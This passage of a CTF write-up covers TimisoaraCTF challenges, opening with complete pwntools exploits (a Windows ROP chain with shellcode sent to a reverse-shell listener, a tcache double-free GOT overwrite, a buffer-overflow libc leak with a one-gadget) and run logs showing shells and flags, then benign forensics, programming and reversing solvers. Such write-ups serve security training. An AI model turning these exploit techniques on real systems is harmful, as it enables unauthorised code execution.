pop_rdx = 0x00401095 # pop rdx ; xor eax, eax ; add rsp, 0x28 ; ret ;
pop_r8  = 0x004960b3 # pop r8 ; add rsp, 0x28 ; pop rbx ; pop rsi ; ret;
pop_r9  = 0x004a4a14 # pop r9 ; mov byte [rbx+0x000000E1], 0x00000001 ; mov byte [rbx+0x000000E0], sil ; add rsp, 0x20 ; pop rbx ; pop rsi ; pop rdi ; ret ;
log.info("pop_rcx : " + hex(pop_rcx))
log.info("pop_rdx : " + hex(pop_rdx))
log.info("pop_r8  : " + hex(pop_r8))
log.info("pop_r9  : " + hex(pop_r9))

payload = "" 
payload += "A" * (256 + 8)

payload += p64(pop_rbx)
payload += p64(bss)

payload += p64(pop_r9)
payload += p64(bss + 0x1000) + p64(0) * 3
payload += "A" * 0x20

payload += p64(pop_r8)
payload += p64(0x40)
payload += p64(0) * 2
payload += "A" * 0x28

payload += p64(pop_rcx)
payload += p64(bss)

payload += p64(pop_rdx)
payload += p64(0x6000)
payload += "A" * 0x28

payload += p64(protect)
payload += p64(bss + len(payload) + 0x10) 
payload += "\x90" * 0x100
payload += shellcode

log.info("payload : " + str(len(payload)))

r.recvuntil("payload: ")
pause()
r.sendline(payload)

r.interactive()

The environment setting method is as follows.

0. Leave the port open on my server.
1. start exploit!

set port

root@8055cfbd987a:~# nc -lvp 1234
listening on [any] 1234 ...

start exploit

juntae@ubuntu:~/ctf/timisoara/rop-me-baby$ python ex.py

Client

juntae@ubuntu:~/ctf/timisoara/rop-me-baby$ p ex.py 
[+] Opening connection to 89.38.208.147 on port 2025: Done
[*] ntdll : 0x7ffd02630000
[*] kernel32 : 0x7ffd01a00000
[*] bss : 0x4de040
[*] pop_rcx : 0x40c620
[*] pop_rdx : 0x401095
[*] pop_r8  : 0x4960b3
[*] pop_r9  : 0x4a4a14
[*] payload : 1228
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ 
[*] Interrupted

server

root@8055cfbd987a:~# nc -lvp 1234
listening on [any] 1234 ...
89.38.208.147: inverse host lookup failed: Unknown host
connect to [172.17.0.6] from (UNKNOWN) [89.38.208.147] 58731
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\RopME\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 32BC-80DB

 Directory of C:\Users\RopME\Desktop

09/13/2019  12:21 PM    <DIR>          .
09/13/2019  12:21 PM    <DIR>          ..
09/13/2019  12:22 PM                29 chall.bat
09/13/2019  11:31 AM                28 flag.txt.txt
09/13/2019  12:53 PM           902,144 rop_me_baby.exe
09/13/2019  12:03 PM    <DIR>          socat_not_working
               3 File(s)        902,201 bytes
               3 Dir(s)  47,296,638,976 bytes free

C:\Users\RopME\Desktop>type flag.txt.txt
type flag.txt.txt
TIMCTF{Yeah_Y34h_ropME_b4by}

FLAG : TIMCTF{Yeah_Y34h_ropME_b4by}


Team Manager (300pts)

I found the team manager service used for Timisoara CTF. Do you think it is secure?

nc 89.38.208.144 11114

case 2u:
  printf("Enter player id (1-4) ");
  fflush(_bss_start);
  scanf("%d", &id);
  if ( id > 0 && id <= 4 )
  {
    if ( players[id] )
      free(players[id]);
  }

Do not check the Double Free bug here.

So, I can use tchace dup.

So I assigned the address of the GOT side to the players global variable.

case 3u:
  printf("Enter player id (1-4) ");
  fflush(_bss_start);
  scanf("%d", &id);
  if ( id > 0 && id <= 4 )
  {
    if ( players[id] )
    {
      getchar();
      printf("Player's name: ");
      fflush(_bss_start);
      gets((players[id] + 6));
      printf("Player's skill at reversing and exploitation: ");
      fflush(_bss_start);
      scanf("%d", players[id]);
      printf("Player's skill at web exploit: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 2);
      printf("Player's skill at crypto: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 1);
      printf("Player's skill at forensics: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 3);
      printf("Extra note/comment: ");
      fflush(_bss_start);
      getchar();
      gets(*(players[id] + 2));
      puts("\n");
    }

In this part, a heap overflow occurs.

So you can fill the got section with whatever you want.

Exploit

As you debug, you will see that you pass the address 0x602090 as the argument to the free function.

Therefore, we cover the address of system function in GOT of free function.

Then enter the string “/bin/sh” at 0x602090.

Then run the free function to capture the shell.

from pwn import *

#context.log_level = "debug"

e = ELF("./timctf_manager")
libc = ELF("./libc-2.27.so")
r = remote("89.38.208.144",11114)
#r = process("./timctf_manager")

def add(index,name,rev,web,crypto,forensic,comment):
	r.sendline("1")
	r.sendlineafter("(1-4) ",str(index))
	r.sendlineafter(": ",name)
	r.sendlineafter(": ",str(rev))
	r.sendlineafter(": ",str(web))
	r.sendlineafter(": ",str(crypto))
	r.sendlineafter(": ",str(forensic))
	r.sendlineafter(": ",comment)

def remove(index):
	r.sendline("2")
	r.sendlineafter("(1-4) ",str(index))

def edit(index,name,rev,web,crypto,forensic,comment):
	r.sendline("3")
	r.sendlineafter("(1-4) ",str(index))
	r.sendlineafter(": ",name)
	r.sendlineafter(": ",str(rev))
	r.sendlineafter(": ",str(web))
	r.sendlineafter(": ",str(crypto))
	r.sendlineafter(": ",str(forensic))
	r.sendlineafter(": ",comment)

def player(index):
	r.sendline("4")
	r.sendlineafter("(1-4) ",str(index))

players = 0x6020a0
got = e.got["free"]
log.info("got : " + hex(got))

# input : index,name,rev,web,crypto,forensic,comment

add(1,"\x00","+","+","+","+","AAAA")

remove(1)
remove(1)

add(2,"\x00",(players+0x8)-0x18,"+","+","+","BBBB")

add(3,"AAAA","+","+","+","+","CCCC")
add(4,p32(got-0x20),"+","+","+","+","DDDD")

player(1)

for i in range(0,1):
	r.recvuntil("\x7f")

leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = leak - libc.symbols["free"] #0x408750
system = libc_base + libc.symbols["system"]
log.info("leak : " + hex(leak)) #600
log.info("libc_base : " + hex(libc_base))

payload = ""
payload += p64(0)
payload += p64(libc_base + libc.symbols["system"]) #free@got
payload += p64(libc_base + libc.symbols["putchar"])
payload += p64(libc_base + libc.symbols["puts"])
payload += p64(0)
payload += p64(libc_base + libc.symbols["printf"])
payload += p64(libc_base + libc.symbols["getchar"])
payload += p64(libc_base + libc.symbols["gets"])
payload += p64(libc_base + libc.symbols["malloc"])
payload += p64(libc_base + libc.symbols["fflush"])
payload += p64(libc_base + libc.symbols["scanf"])
payload += p64(libc_base + libc.symbols["fwrite"])
payload += p64(0) * 2
payload += p64(libc_base + 0x3ec760)
payload += p64(0)
payload += "/bin/sh\x00" #0x602090

pause()
edit(1,payload,"+","+","+","+","B")

#remove(4)

r.interactive()
juntae@ubuntu:~/ctf/timisoara/manager$ p ex.py 
[*] '/home/juntae/ctf/timisoara/manager/timctf_manager'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/juntae/ctf/timisoara/manager/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 89.38.208.144 on port 11114: Done
[*] got : 0x602018
[*] leak : 0x7fca44592950
[*] libc_base : 0x7fca444fb000
[*] Paused (press any to continue)
[*] Switching to interactive mode


1: Add player
2: Remove player
3: Edit player
4: View player
5: View team
0: Exit
$ 2
Enter player id (1-4) $ 4
$ ls
flag.txt
start.sh
timctf_manager
$ cat flag.txt
TIMCTF{Heap_overfl0ws_are_really_B4D}$ 
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 11114

FLAG : TIMCTF{Heap_overfl0ws_are_really_B4D}


Flag manager service (400pts)

Our spies found this flag manager service running on the ctf server. It needs a password tho, but I am sure you can handle it.

nc 89.38.208.144 11115 - back online

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  char format; // [rsp+40h] [rbp-50h]
  int fd; // [rsp+8Ch] [rbp-4h]

  strcpy(file, "flag.txt");
  filesize = 64;
  printf("Enter your name: ", argv, envp);
  fflush(stdout);
  gets(&format);
  printf("Hello, ");
  printf(&format);
  printf("\nEnter password please: ");
  fflush(stdout);
  gets(pass);
  fd = open(file, 0);
  if ( fd == -1 )
  {
    puts("Unable to open file!\n");
    fflush(stdout);
    result = 0;
  }
  else
  {
    read(fd, &buf, filesize);
    if ( !strcmp(pass, good_pass) )
      printf("Here is your flag, %s\n", &buf);
    else
      puts("NOOOOOOOOO!\n");
    fflush(stdout);
    result = 0;
  }
  return result;
}

Buffer Overflow and Format String Bugs Occur.

So, I can catch RIP.

Then, do ROP ( bypass DEP) can get shell.

Exploit

oneshot gadget

from pwn import *

#context.log_level = "debug"

e = ELF("./flag_manager01")
libc = e.libc

r = remote("89.38.208.144",11115)
#r = process("./flag_manager01")

pr = 0x4008a3

payload = ""
payload += "A" * 0x58
payload += p64(pr)
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])

payload += p64(e.symbols["main"])

r.sendlineafter("name: ",payload)
r.sendlineafter("please: ","1234")

libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") - libc.symbols["puts"]
oneshot = libc_base + 0x10a38c
log.info("libc_base : " + hex(libc_base))

payload = ""
payload += "A" * 0x58
payload += p64(oneshot)

r.sendlineafter("name: ",payload)
r.sendlineafter("please: ","1234")

r.interactive()
juntae@ubuntu:~/ctf/timisoara/flag$ c
juntae@ubuntu:~/ctf/timisoara/flag$ p ex.py 
[*] '/home/juntae/ctf/timisoara/flag/flag_manager01'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 89.38.208.144 on port 11115: Done
[*] libc_base : 0x7ff5c611e000
[*] Switching to interactive mode
NOOOOOOOOO!

$ ls
fddup.so
flag_manager_nohook
flag.txt
start.sh
$ cat flag.txt
TIMCTF{d3v_fd_i5_sn3aky_backd00r}$ 
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 11115

FLAG : TIMCTF{d3v_fd_i5_sn3aky_backd00r}


Forensics

Deleted file (100pts)

Help! I accidentally deleted a photo! Can you recover it for me please?

http://timisoaractf.ro/10MB.img

Non-standard flag format

just extract file or another solution is mount this image and show directory. PNG was hiding.

FLAG : flag{I_s33_the_uns33n}


Strange image (100pts)

I received this “image” in my mailbox today, but I can not open it, as if it was corrupted or something. Can you fix it and tell me if it has any hidden meaning?

Note: if you think you “fixed” it and it does not open, try using a few different photo viewers.

Hint! When you ‘fix’ your image make sure you try multiple photo viewers as some might not want to display it

f = open('john.png','rb')
data = f.read()
f.close()
go = ""
for i in range(len(data)):
	go += chr(ord(data[i])^122)
f = open('copy.png','wb')
f.write(go)
f.close()

file hex values are encrypted

i use strings to get looks like flag - HATZ-fL4G: WLPFWI~Eudy3bm3kqxoh$

use caesar cipher to solve it

enc = 'WLPFWI~Eudy3bm3kqxoh$'
print ''.join(chr(ord(enc[i]) - 3) for i in range(len(enc)))

FLAG : TIMCTF{Brav0_j0hnule!}

Tri-color QR (200pts)

I stumbled upon this strange QR code which seems to be in a new format. Can you help me decode it?

"""
(pink yellow red - black or white, blue hyung green - white or black)
(pink blue red - black or white, yellow hyung green - white or black)
(pink blue hyung - black or white, yellow red green - black or white)
"""

"""
no color - TIMCTF{
green - Th1s_is_A
blue - _4_part_
extract - flag}
"""
# 0 0 0 - black
# 255 255 255 - white
# 0 0 255 - blue
# 255 0 255 - pink
# 255 255 0 - yellow
# 0 255 255 - hyung
# 255 0 0 - red
# 0 255 0 - green 
k = (0,0,0) # blakc
w = (255,255,255) # white
pink = (255,0,255)
blue = (0,0,255)
yellow = (255,255,0)
hyung = (0,255,255)
red = (255,0,0)
green = (0,255,0)
img = Image.open('tri-color.png')
img = img.convert('RGB')
img_pix = img.load()
r,g,b = img_pix[0,0]
#r,g,b = img.getpixel((i,j))
for i in range(img.width):
	for j in range(img.height):
		if img_pix[i,j] == pink:
			img_pix[i,j] = w
		elif img_pix[i,j] == blue:
			img_pix[i,j] = w
		elif img_pix[i,j] == yellow:
			img_pix[i,j] = k
		elif img_pix[i,j] == hyung:
			img_pix[i,j] = w
		elif img_pix[i,j] == red:
			img_pix[i,j] = k
		elif img_pix[i,j] == green:
			img_pix[i,j] = k
img.save('solve.png')

The flags come out divided. extract this qr image file too.

FLAG : TIMCTF{Th1s_is_A_4_part_flag}


Entangled (300pts)

Something isn’t clear right here…

http://timisoaractf.ro/Entangled.img

The .img file is given. if you file

open free_fortnite_H4CKZ_run_me with IDA and look at the graph view, there is a QR code. You can recognize it. and get password Cool_pass02

Now dncrypted flag.enc with openssl

openssl aes-128-cbc -in flag.enc -out flag -d -k Cool_pass02

we can get flag file. this file type is PNG.

FLAG : TIMCTF{C0de_oR_DAT4_tHe_uLtImAtE_qUesti0n}


Misc

Read the rules (1pts)First to solve this challenge!

Have you read them?

flag in the Short description.

FLAG : TIMCTF{sometext}


Programming

Subset sum (200pts)

You are given a number n and an array. Find those elements from the array that sum to the given number.

Number of tests: 10 Size of the array: 4 - 40 (+4 per level) Input data type: 64 bit unsigned ints Input formatting: 2 lines of text, a line containing n and a line containg the array. Output formatting: the size of the subset and the elements of the subset, separated by a space Time limit: 3s

nc 89.38.208.143 22021

  • I thought of using a Meet in the Middle.
  • But I used Trick.
from pwn import *

p = remote("89.38.208.143",22021)
for i in range(1,11):
	print p.recvuntil("/10\n"),
	n = int(p.recvline()[:-1])
	temp_arr = p.recvline()[:-1]
	exec("arr = ["+ temp_arr.replace(' ',',') +"]")
	length = len(arr)
	N= length
	S = n
	nums = arr
	answer = "1 "+str(n)
	print n
	print arr
	print answer,"\n\n"
	p.sendline(answer)
p.interactive()
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara$ python last.py
[+] Opening connection to 89.38.208.143 on port 22021: Done
I will give you an array. Find me the elements that sum to the given number
Test #1/10
886292542176
[270855512863, 138184617995, 345953397248, 402154526933]
1 886292542176


OK!
Test #2/10
731715580623
[43163442928, 469954144345, 5435257261, 9766270480, 200043173538, 255981247529, 420300402547, 222761446148]
1 731715580623


OK!
Test #3/10
1597618745872
[543263880939, 116485754333, 548124400896, 376592401134, 206476763989, 402294544529, 116272110186, 45644102154, 458401125094, 421506943181, 167181589742, 406220537122]
1 1597618745872

.
.
.
.
.
.
.
.
.


OK!
Test #9/10
5254545483621
[62104530613, 437252304722, 541275299117, 497852959064, 407315398134, 83838706323, 282774611877, 393225375205, 201824291289, 398707071239, 101569864581, 450422715752, 147564550876, 104680243266, 232065113352, 244637968397, 224244269686, 260846266591, 223312260455, 137614733585, 191959188846, 433233526485, 85375601324, 8337955352, 153487987350, 499975959804, 510533362081, 384059199435, 415942691154, 179504015328, 22738282436, 299104817667, 184896416718, 480768435343, 111130351529, 415558208715]
1 5254545483621


OK!
Test #10/10
4973169628790
[43904986332, 139193993172, 98420770138, 384179899376, 437042565118, 290188720014, 398995810338, 446808123987, 416859717806, 107432594929, 307718414222, 249727113524, 340012438295, 118330651094, 513137938676, 383988188892, 211696119478, 276733672617, 451611819850, 190900507459, 387483424834, 487260229850, 297558816385, 67518231930, 339531703993, 327004473875, 309580380704, 410160297239, 9028428723, 542168055503, 157872352428, 123340279300, 380677124259, 150818592688, 363500356850, 98634320981, 124979100229, 91052683464, 135981929186, 335324640254]
1 4973169628790


[*] Switching to interactive mode
OK!
Congrats: TIMCTF{W3_like_t0_m33t_in_tHe_m1ddle}
[*] Got EOF while reading in interactive
$
[*] Closed connection to 89.38.208.143 port 22021
[*] Got EOF while sending in interactive

FLAG : FLAG : TIMCTF{W3_like_t0_m33t_in_tHe_m1ddle}


Linear recurrence (200pts)

You are given two numbers: N and k and a linear recurrence. The first N terms are given, along with their coefficients in this order: cn * an, cn - 1 * an - 1, …, c1 * a1

For example, consider the Fibonacci sequence: a3 = 1*a2 + 1 * a1, where a2 and a1 are both equal to 1. In this case the input will be 1 1 1 1

For the string a4 = 3 * a3 + 5 * a2 + 7 * a1 with a3 = 2, a2 = 1 and a1 = 4 the input will look like 3 2 5 1 7 4

Note that all strings start from index 1 N < k < 100.000.000 Number of tests: 10 Size of the input: 2 - 4 (4 - 8 including coefficients) Input data type: 64 bit unsigned ints Input formatting: 2 lines of text, a line containing N,k and a line containg the sequence. Output formatting: the kth term modulo 666013 Time limit: 1s

nc 89.38.208.143 22022

  • Just Coding
  • I use C and Python
  • Using C to solve
  • Using Python to connect the NC server
from pwn import *
coefficient = []
arr = []
temp_length = 0
p = remote("89.38.208.143", 22022)
second_p = process("array")
for _ in range(10):
	print p.recvline(),
	print p.recvline(),
	N,K = p.recvline().split(' ')
	N = int(N)
	K = int(K)
	exec("temp_arr = ["+p.recvline()[:-1].replace(' ',',')+"]")
	temp_length = len(temp_arr)/2
	coefficient = []
	arr = []
	for i in range(temp_length):
		coefficient.append(temp_arr[i*2])
		arr.append(temp_arr[i*2+1])	
	print "N=",N,": K=",K
	print temp_arr
	print "coefficient =",coefficient
	print "arr =",arr
	arr.reverse()
	second_p.sendline(str(arr)[1:-1].replace(',',''))
	second_p.sendline(str(coefficient)[1:-1].replace(',',''))
	second_p.sendline(str(K))
	A = second_p.recvline()
	print "answer=",A,"\n"
	p.sendline(A)
p.interactive()
#include <stdio.h> 

typedef unsigned long long int ulli;

ulli data[100000001];
ulli arr[122];
ulli coefficient[1222];

int main(void){
    ulli a;
    // Test #1/10:
    for(int i=0;i<2;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<2;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 2; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #2/10:
    for(int i=0;i<2;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<2;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 2; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #3/10:
    for(int i=0;i<3;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<3;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 3; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
    }
    printf("%lld\n", data[a-1]);


    // Test #4/10:
    for(int i=0;i<3;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<3;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 3; i < a; ++i)
    {
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
    }
    printf("%lld\n", data[a-1]);


    // Test #5/10:
    for(int i=0;i<3;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<3;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 3; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
    }
    printf("%lld\n", data[a-1]);



    // Test #6/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #7/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #8/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #9/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);


    // Test #10/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 4; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3] + coefficient[3]*data[i-4])%666013;
    }
    printf("%lld\n", data[a-1]);

    return 0;
}
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/programming2$ g++ array.cpp -o array
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/programming2$ python payload.py
[+] Opening connection to 89.38.208.143 on port 22022: Done
[!] Could not find executable 'array' in $PATH, using './array' instead
[+] Starting local process './array': pid 150
I will give you N, the size of the recurrence, k, the term you need to compute and then the first N numbers with their coefficients in this order: cn * an, cn-1 * an-1...
Test #1/10:
N= 2 : K= 63501
[7, 8, 6, 4]
coefficient = [7, 6]
arr = [8, 4]
answer= 530525


OK!
Test #2/10:
N= 2 : K= 12599
[16, 18, 19, 24]
coefficient = [16, 19]
arr = [18, 24]
answer= 171579


OK!
Test #3/10:
N= 3 : K= 462548
[20, 11, 7, 37, 36, 32]
coefficient = [20, 7, 36]
arr = [11, 37, 32]
answer= 231605

.
.
.
.
.
.
.
.
.
.
.

OK!
Test #9/10:
N= 4 : K= 10031110
[96, 87, 85, 123, 24, 109, 23, 65]
coefficient = [96, 85, 24, 23]
arr = [87, 123, 109, 65]
answer= 156974


OK!
Test #10/10:
N= 4 : K= 14138374
[6, 116, 11, 5, 50, 32, 19, 63]
coefficient = [6, 11, 50, 19]
arr = [116, 5, 32, 63]
answer= 381958


[*] Switching to interactive mode
OK!
TIMCTF{Matrix_multiplication_OP_please_n3rf}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './array' stopped with exit code 0 (pid 150)
[*] Closed connection to 89.38.208.143 port 22022

FLAG : FLAG : TIMCTF{Matrix_multiplication_OP_please_n3rf}


Reverse Engineering

Baby Rev (50pts)

This program asks me for the flag, but i don’t know it!

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax

  printf("Enter password: ", argv, envp);
  fgets(password, 64, _bss_start);
  while ( 1 )
  {
    v3 = strlen(password);
    if ( isprint(password[v3 - 1]) )
      break;
    password[strlen(password) - 1] = 0;
  }
  if ( !strcmp(password, flag) )
    puts("Congratulations, that is correct!");
  else
    puts("NOOOOOOOOOOOOOOOO");
  return 0;
}

just check input with flag. string stored in flag is TIMCTF{Wh0_know5_a5m_kn0ws_R3V}

FLAG : TIMCTF{Wh0_know5_a5m_kn0ws_R3V}


Easy Rev (75pts) 

Like the last one, but harder

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int i; // [rsp+Ch] [rbp-14h]

  printf("Enter password: ", argv, envp);
  scanf("%s", password);
  if ( strlen(password) <= 0x40 )
  {
    if ( strlen(password) > 7 )
    {
      for ( i = 0; i < strlen(password); ++i )
      {
        if ( password[i] > 96 && password[i] <= 122 )
          password[i] = (password[i] - 84) % 26 + 97;
      }
      if ( !strcmp(password, flag) )
        puts("Congratulations, that is correct!");
      else
        puts("NOOOOOOOOOOOOOOOO");
      result = 0;
    }
    else
    {
      puts("Error: password too short!");
      result = 0;
    }
  }
  else
  {
    puts("Error: password too long!");
    result = 0;
  }
  return result;
}

this challenge check the password. bruteforce brought us the right price.

flag = ''
table = 'TIMCTF{ebgngrq13synt}'
for i in range(len(table)):
	if ord(table[i]) > 96 and ord(table[i]) <= 122:
		for j in range(96,123):
			if ord(table[i]) == (j - 84) % 26 + 97:
				flag += chr(j)
				break
	else:
		flag += table[i]
print flag

FLAG : TIMCTF{rotated13flag}


Boz Packer (150pts)

This executable is packed using the new and imporved BOZ technology. It features strong antidebug checks

Required library: openssl - http://timisoaractf.ro/libcrypto-1_1-x64.dll

patch and find “Enter password: “ string

decrypt all values stored in md5.

FLAG : TIMCTF{BOZ_as_s33n_in_ecsc_upx_chall}


Math (150pts)

This executable is doing MATH. Everyone hates that so it must be hard to reverse

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  unsigned __int8 v4; // [rsp+2h] [rbp-2Eh]
  char v5; // [rsp+3h] [rbp-2Dh]
  int v6; // [rsp+4h] [rbp-2Ch]
  int v7; // [rsp+8h] [rbp-28h]
  int i; // [rsp+Ch] [rbp-24h]
  signed int j; // [rsp+10h] [rbp-20h]
  signed int k; // [rsp+14h] [rbp-1Ch]
  signed int l; // [rsp+18h] [rbp-18h]
  int m; // [rsp+1Ch] [rbp-14h]

  printf("Enter password: ", argv, envp);
  scanf("%s", plaintext);
  if ( strlen(plaintext) <= 0x100 )
  {
    v7 = 0;
    v5 = 0;
    for ( i = 0; i < strlen(plaintext); i += 3 )
    {
      v6 = key ^ (plaintext[i + 2] | ((plaintext[i + 1] | (plaintext[i] << 8)) << 8));
      for ( j = 0; j <= 2; ++j )
      {
        if ( !plaintext[i + j] )
          v5 = 1;
      }
      for ( k = 3; k >= 0; --k )
      {
        v4 = 0;
        for ( l = 5; l >= 0; --l )
        {
          if ( v6 & (1 << (6 * k + l)) )
            v4 |= 1 << l;
        }
        if ( v4 )
        {
          ciphertext[v7] = base64[v4];
        }
        else if ( v5 )
        {
          ciphertext[v7] = 61;
        }
        else
        {
          ciphertext[v7] = 65;
        }
        ++v7;
      }
    }
    for ( m = 0; flag[m]; ++m )
    {
      if ( flag[m] != ciphertext[m] )
      {
        puts(no);
        return 0;
      }
    }
    puts(yes);
    result = 0;
  }
  else
  {
    puts("Error: password too long!");
    result = 0;
  }
  return result;
}

do reverse math

import base64
import struct

cip = "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcbX7MPv"
cip = base64.b64decode(cip)
key = 14335727
flag = ''
for i in range(0,len(cip),3):
	a = struct.unpack('<i',cip[i:i+3][::-1] + "\x00")[0] ^ key
	flag += hex(a)[2:].decode('hex')
print flag

i did Bruteforce attack three digits. I guess first word.

# TIMCTF{I_s33_you_UnDeRsTaNd_x86}
import gdb
table = "_1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz}"
go_table = []
for n in table:
		for m in table:
			for b in table:
				go_table.append(n+m)

payload = 'TIMCTF{I_' # 3byte
for i in range(len(go_table)):
	gdb.execute('file math',to_string=True)
	gdb.execute('b*main+561',to_string=True) # 0x55555555494b
	gdb.execute('r <<< ' + '"' + payload + go_table[i] + '"',to_string=True)
	d = gdb.execute('x/s $rax',to_string=True).split(' ')[1].replace('\n','').replace('"','').replace('<ciphertext>:\t','')
	print(payload + go_table[i] + " : " + d)
	if d == "jveimeqpofewqY3chceAr+G6tPqKiM27u/CLhcb":
		print('FLAG' + ' : ' + payload + go_table[i])
		break
gdb.execute('q',to_string=True)

FLAG : TIMCTF{I_s33_you_UnDeRsTaNd_x86}


Pipes (200pts)

Description : Someone said this program likes to smoke. Alot. See what’s inside

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  bool v4; // al
  unsigned __int8 buf; // [rsp+7h] [rbp-59h]
  int v6; // [rsp+8h] [rbp-58h]
  int j; // [rsp+Ch] [rbp-54h]
  int i; // [rsp+10h] [rbp-50h]
  __pid_t pid; // [rsp+14h] [rbp-4Ch]
  char *s1; // [rsp+18h] [rbp-48h]
  __int64 v11; // [rsp+20h] [rbp-40h]
  __int64 v12; // [rsp+28h] [rbp-38h]
  __int64 v13; // [rsp+30h] [rbp-30h]
  __int64 v14; // [rsp+38h] [rbp-28h]
  __int64 v15; // [rsp+40h] [rbp-20h]
  __int16 v16; // [rsp+48h] [rbp-18h]
  unsigned __int64 v17; // [rsp+58h] [rbp-8h]

  v17 = __readfsqword(0x28u);
  v11 = 7142820555239287888LL;
  v12 = 8462115404900429676LL;
  v13 = 7451053173976080498LL;
  v14 = 7953753264878285413LL;
  v15 = 2387226065748172907LL;
  v16 = 10;
  if ( ptrace(0, 0LL, 1LL, 0LL) == -1 )
  {
    std::operator<<<std::char_traits<char>>(&_bss_start, &v11);
    result = 255;
  }
  else
  {
    std::operator<<<std::char_traits<char>>(&_bss_start, "Enter password: \n");
    std::operator>><char,std::char_traits<char>,std::allocator<char>>(&std::cin, &input);
    if ( pipe(pipe_1) == -1 )
    {
      std::operator<<<std::char_traits<char>>(&_bss_start, "Failed creating pipe!\n");
      result = 0;
    }
    else if ( pipe(pipe_2) == -1 )
    {
      std::operator<<<std::char_traits<char>>(&_bss_start, "Failed creating pipe!\n");
      result = 0;
    }
    else
    {
      pid = fork();
      if ( pid == -1 )
      {
